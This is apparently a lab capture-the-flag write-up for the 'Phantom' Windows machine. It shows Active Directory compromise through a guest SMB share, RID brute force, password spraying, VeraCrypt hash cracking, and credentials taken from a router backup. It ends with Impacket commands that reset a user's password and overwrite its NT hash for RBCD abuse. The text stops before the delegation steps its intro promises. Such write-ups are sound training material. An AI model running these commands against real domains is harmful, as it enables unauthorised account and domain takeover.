Phantom
Phantom
Phantom is a medium difficulty Windows machine which highlights AD exploitation. Initial enumeration reveals a publicly accessible SMB Share containing an email file with a base64 encoded PDF attachment that leaks a domain password. After enumerating domain users and performing a password spray, valid credentials are discovered for the ibryant account. Further enumeration of network shares uncovers a VeraCrypt container, which, after cracking, discloses a VyOS router backup holding credentials. These credentials provide access to the lstanley account, which has sufficient rights to configure Resource-Based Constrained Delegation (RBCD). By abusing RBCD and leveraging S4U2Self/S4U2Proxy Kerberos delegation, we impersonate a Domain Admin and achieve full domain compromise.
Enumeration
Nmap Scan
We started to conduct our enumeration, by leveraging Nmap to find open ports on the target machine.
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➜ sudo nmap -sV -sC 10.129.234.63
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-22 16:22 UTC
Nmap scan report for dc.phantom.vl (10.129.234.63)
Host is up (0.0074s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-22 16:22:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: PHANTOM
| NetBIOS_Domain_Name: PHANTOM
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: phantom.vl
| DNS_Computer_Name: DC.phantom.vl
| DNS_Tree_Name: phantom.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-03-22T16:22:25+00:00
| ssl-cert: Subject: commonName=DC.phantom.vl
| Not valid before: 2026-03-21T13:08:02
|_Not valid after: 2026-09-20T13:08:02
|_ssl-date: 2026-03-22T16:23:05+00:00; +1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Based from the output abuse, there aren’t any uncommon ports open. Because SMB is enabled, the next enumeration step is to conduct SMB enumeration.
SMB Enumeration
Guest Access Share
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➜ Phantom nxc smb 10.129.234.63 -u 'guest' -p '' --shares
SMB 10.129.234.63 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:None) (Null Auth:True)
<SNIP>
----------- ------
SMB 10.129.234.63 445 DC ADMIN$ Remote Admin
SMB 10.129.234.63 445 DC C$ Default share
SMB 10.129.234.63 445 DC Departments Share
SMB 10.129.234.63 445 DC IPC$ READ Remote IPC
SMB 10.129.234.63 445 DC NETLOGON Logon server share
SMB 10.129.234.63 445 DC Public READ
SMB 10.129.234.63 445 DC SYSVOL Logon server share
Based from the output abose, we are able to identify SMB Share that Guests have read permissions on: Public
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➜ Phantom smbclient //dc.phantom.vl/'Public' -U "Guest"
Password for [WORKGROUP\Guest]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Jul 11 15:03:14 2024
.. DHS 0 Thu Aug 14 11:55:49 2025
tech_support_email.eml A 14565 Sat Jul 6 16:08:43 2024
Download Email File
We are able to download the file by utilizing the following command:
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➜ Phantom smbclient //dc.phantom.vl/'Public' -U "Guest"
Password for [WORKGROUP\Guest]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Jul 11 15:03:14 2024
.. DHS 0 Thu Aug 14 11:55:49 2025
tech_support_email.eml A 14565 Sat Jul 6 16:08:43 2024
6127103 blocks of size 4096. 2385704 blocks available
smb: \> prompt off
smb: \> get tech_support_email.eml
getting file \tech_support_email.eml of size 14565 as tech_support_email.eml (618.4 KiloBytes/sec) (average 618.4 KiloBytes/sec)
Extract PDF File
Based om the email contents, we identified that it contains base64 encoded pdf file. We can decode this and review the pdf file itself.
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➜ Phantom more tech_support_email.eml
<SNIP>
Dear Tech Support Team,
I have finished the new welcome email template for onboarding new employees.
Please find attached the example template. Kindly start using this template for all new employees.
Best regards,
Anthony Lucas
--===============6932979162079994354==
Content-Type: application/pdf
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="welcome_template.pdf"
<SNIP>
--===============6932979162079994354==--
User Enumeration
We have identified a password based from the PDF file, now we have to enumerate the users that are present on the target system. We performed rid brute force.
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➜ Phantom nxc smb dc.phantom.vl -u 'guest' -p '' --rid-brute | grep "SidTypeUser" | awk -F'\\\\' '{print $2}' | awk '{print $1}' > userlist.txt
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➜ Phantom cat userlist.txt
Administrator
Guest
krbtgt
DC$
svc_sspr
rnichols
pharrison
wsilva
elynch
nhamilton
lstanley
bbarnes
cjones
agarcia
ppayne
ibryant
ssteward
wstewart
vhoward
crose
twright
fhanson
cferguson
alucas
ebryant
vlynch
ghall
ssimpson
ccooper
vcunningha
Password Spray
We have now a possible userlist, we can utilize the password that we found earlier inside the PDF file.
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➜ Phantom nxc smb dc.phantom.vl -u userlist.txt -p 'Ph4nt0m@5t4rt!' --continue-on-success | grep '+'
SMB 10.129.234.63 445 DC [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
SMB Share Enumeration
We have identified a valid user, we started to look what permissions that user has over SMB shares.
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➜ Phantom nxc smb dc.phantom.vl -u ibryant -p 'Ph4nt0m@5t4rt!' --shares
SMB 10.129.234.63 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.63 445 DC [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
SMB 10.129.234.63 445 DC [*] Enumerated shares
SMB 10.129.234.63 445 DC Share Permissions Remark
SMB 10.129.234.63 445 DC ----- ----------- ------
SMB 10.129.234.63 445 DC ADMIN$ Remote Admin
SMB 10.129.234.63 445 DC C$ Default share
SMB 10.129.234.63 445 DC Departments Share READ
SMB 10.129.234.63 445 DC IPC$ READ Remote IPC
SMB 10.129.234.63 445 DC NETLOGON READ Logon server share
SMB 10.129.234.63 445 DC Public READ
SMB 10.129.234.63 445 DC SYSVOL READ Logon server share
Based from the output above, we gained read access to Departments Share
Download Whole SMB Share
There is a certain amount of files present on the SMB share, instead of analyzing them on the share we copied everything to our machine for reviewing.
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➜ Phantom smbclient //dc.phantom.vl/'Departments Share' -U "ibryant"
Password for [WORKGROUP\ibryant]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Jul 6 16:25:31 2024
.. DHS 0 Thu Aug 14 11:55:49 2025
Finance D 0 Sat Jul 6 16:25:11 2024
HR D 0 Sat Jul 6 16:21:31 2024
IT D 0 Thu Jul 11 14:59:02 2024
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smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
<SNIP>
getting file \IT\Backup\IT_BACKUP_201123.hc of size 12582912 as IT/Backup/IT_BACKUP_201123.hc (42815.3 KiloBytes/sec) (average 33480.3 KiloBytes/sec)
Based On the output above, we have identified an encrypted VeraCrypt volume.
Exploitation
Decrypting VeraCrypt Volume
Resource: https://labex.io/tutorials/kali-crack-a-veracrypt-volume-password-594492
Creating Crackable Hash
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➜ Backup dd if=./IT_BACKUP_201123.hc of=./hash bs=512 count=1
1+0 records in
1+0 records out
512 bytes copied, 1.8486e-05 s, 27.7 MB/s
➜ Backup ls -al hash
-rw-rw-r-- 1 n0xshell n0xshell 512 Mar 22 16:42 hash
Crack Hash
We utlized Hashcat custom password rule, to generate mutations of its password
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➜ Backup hashcat -m 13722 -a 3 hash 'Phantom20?d?d!'
hashcat (v6.2.6) starting
<SNIP>
hash:Phantom2023!
Password: Phantom2023!
Decrypt Volume
We mounted the volume and provided the password inside VeraCrypt
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➜ Backup ls -al /media/veracrypt1
total 11192
drwx------ 2 n0xshell n0xshell 1024 Jul 6 2024 '$RECYCLE.BIN'
drwx------ 4 n0xshell n0xshell 16384 Jan 1 1970 .
drwxr-xr-x 1 root root 20 Mar 22 16:45 ..
drwx------ 2 n0xshell n0xshell 1024 Jul 6 2024 'System Volume Information'
-rwx------ 1 n0xshell n0xshell 47391 Jul 6 2024 azure_vms_0805.json
-rwx------ 1 n0xshell n0xshell 47391 Jul 6 2024 azure_vms_1023.json
-rwx------ 1 n0xshell n0xshell 47391 Jul 6 2024 azure_vms_1104.json
-rwx------ 1 n0xshell n0xshell 47391 Jul 6 2024 azure_vms_1123.json
-rwx------ 1 n0xshell n0xshell 1012407 Jul 6 2024 splunk_logs1203
-rwx------ 1 n0xshell n0xshell 1012407 Jul 6 2024 splunk_logs_1003
-rwx------ 1 n0xshell n0xshell 1012407 Jul 6 2024 splunk_logs_1102
-rwx------ 1 n0xshell n0xshell 19348 Jul 6 2024 ticketing_system_backup.zip
-rwx------ 1 n0xshell n0xshell 8191211 Jul 6 2024 vyos_backup.tar.gz
Reviewing vyos Arhcive
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➜ Phantom sudo tar zxf vyos_backup.tar.gz
➜ Phantom ls
Finance IT config file.pdf lib media opt run srv tmp var
HR bin etc home lib64 mnt root sbin tech_support_email.eml userlist.txt vyos_backup.tar.gz
➜ Phantom ls -l
total 8032
drwxrwxr-x 2 n0xshell n0xshell 100 Mar 22 16:40 Finance
drwxrwxr-x 2 n0xshell n0xshell 120 Mar 22 16:40 HR
drwxrwxr-x 3 n0xshell n0xshell 160 Mar 22 16:40 IT
lrwxrwxrwx 1 root root 7 Jul 6 2024 bin -> usr/bin
drwxrwsr-x 7 root debian-tor 200 Jul 6 2024 config
drwxr-xr-x 128 root root 4780 Jul 6 2024 etc
-rw-rw-r-- 1 n0xshell n0xshell 10157 Mar 22 16:31 file.pdf
drwxr-xr-x 4 root root 80 Jul 6 2024 home
lrwxrwxrwx 1 root root 7 Jul 6 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 6 2024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 40 Jul 6 2024 media
drwxr-xr-x 2 root root 40 Jul 6 2024 mnt
drwxr-xr-x 3 root root 60 Jul 6 2024 opt
drwx------ 4 root root 140 Jul 6 2024 root
drwxr-xr-x 44 root root 1180 Jul 6 2024 run
lrwxrwxrwx 1 root root 8 Jul 6 2024 sbin -> usr/sbin
drwxr-xr-x 4 root root 80 Jul 6 2024 srv
-rw-r--r-- 1 n0xshell n0xshell 14565 Mar 22 16:28 tech_support_email.eml
drwxrwxrwt 10 root root 240 Jul 6 2024 tmp
-rw-rw-r-- 1 n0xshell n0xshell 245 Mar 22 16:34 userlist.txt
drwxr-xr-x 13 root root 300 Jul 6 2024 var
-rwx------ 1 n0xshell n0xshell 8191211 Mar 22 16:46 vyos_backup.tar.gz
We are able to extract the archive. We identified a password inside the following file opt/vyatta/etc/config/config.boot
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local-users {
username lstanley {
password "gB6XTcqVP5MlP7Rc"
}
}
Password Spray
Since we identified a new password, we performed password spray with this password.
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➜ Phantom nxc smb dc.phantom.vl -u userlist.txt -p 'gB6XTcqVP5MlP7Rc'
SMB 10.129.234.63 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.63 445 DC [-] phantom.vl\Administrator:gB6XTcqVP5MlP7Rc STATUS_LOGON_FAILURE
SMB 10.129.234.63 445 DC [-] phantom.vl\Guest:gB6XTcqVP5MlP7Rc STATUS_LOGON_FAILURE
SMB 10.129.234.63 445 DC [-] phantom.vl\krbtgt:gB6XTcqVP5MlP7Rc STATUS_LOGON_FAILURE
SMB 10.129.234.63 445 DC [-] phantom.vl\DC$:gB6XTcqVP5MlP7Rc STATUS_LOGON_FAILURE
SMB 10.129.234.63 445 DC [+] phantom.vl\svc_sspr:gB6XTcqVP5MlP7Rc
We identified a valid account, which enabled us user level access to the system.
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bash
svc_sspr:gB6XTcqVP5MlP7Rc
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➜ Phantom nxc winrm dc.phantom.vl -u svc_sspr -p 'gB6XTcqVP5MlP7Rc'
WINRM 10.129.234.63 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl)
WINRM 10.129.234.63 5985 DC [+] phantom.vl\svc_sspr:gB6XTcqVP5MlP7Rc (Pwn3d!)
Post-Exploitation
Post-Enumeration
BloodHound
We ran BloodHound, and identified the privilege escalation path.
Change Password
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➜ Tools bloodyAD -H 10.129.234.63 -d phantom.vl -u svc_sspr -p 'gB6XTcqVP5MlP7Rc' set password crose 'Hacker123!'
[+] Password changed successfully!
Abuse AddAllowedToAct
https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users
Retrieve TGT Crose User
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➜ Tools getTGT.py 'phantom.vl/crose:Hacker123!'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in crose.ccache
Obtain TGT Session Key
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➜ Tools describeTicket.py crose.ccache
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : 0487828563a955e2bd9ee38bfb0314c2586d185cbae868f58dbc40ddba778588
Change NT Hash with TGT Session Key
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➜ Tools changepasswd.py -newhashes 0487828563a955e2bd9ee38bfb0314c2586d185cbae868f58dbc40ddba778588 phantom.vl/crose:'Hacker123!'@dc.phantom.vl
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of phantom.vl\crose
[*] Connecting to DCE/RPC as phantom.vl\crose
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
This post is licensed under
CC BY 4.0
by the author.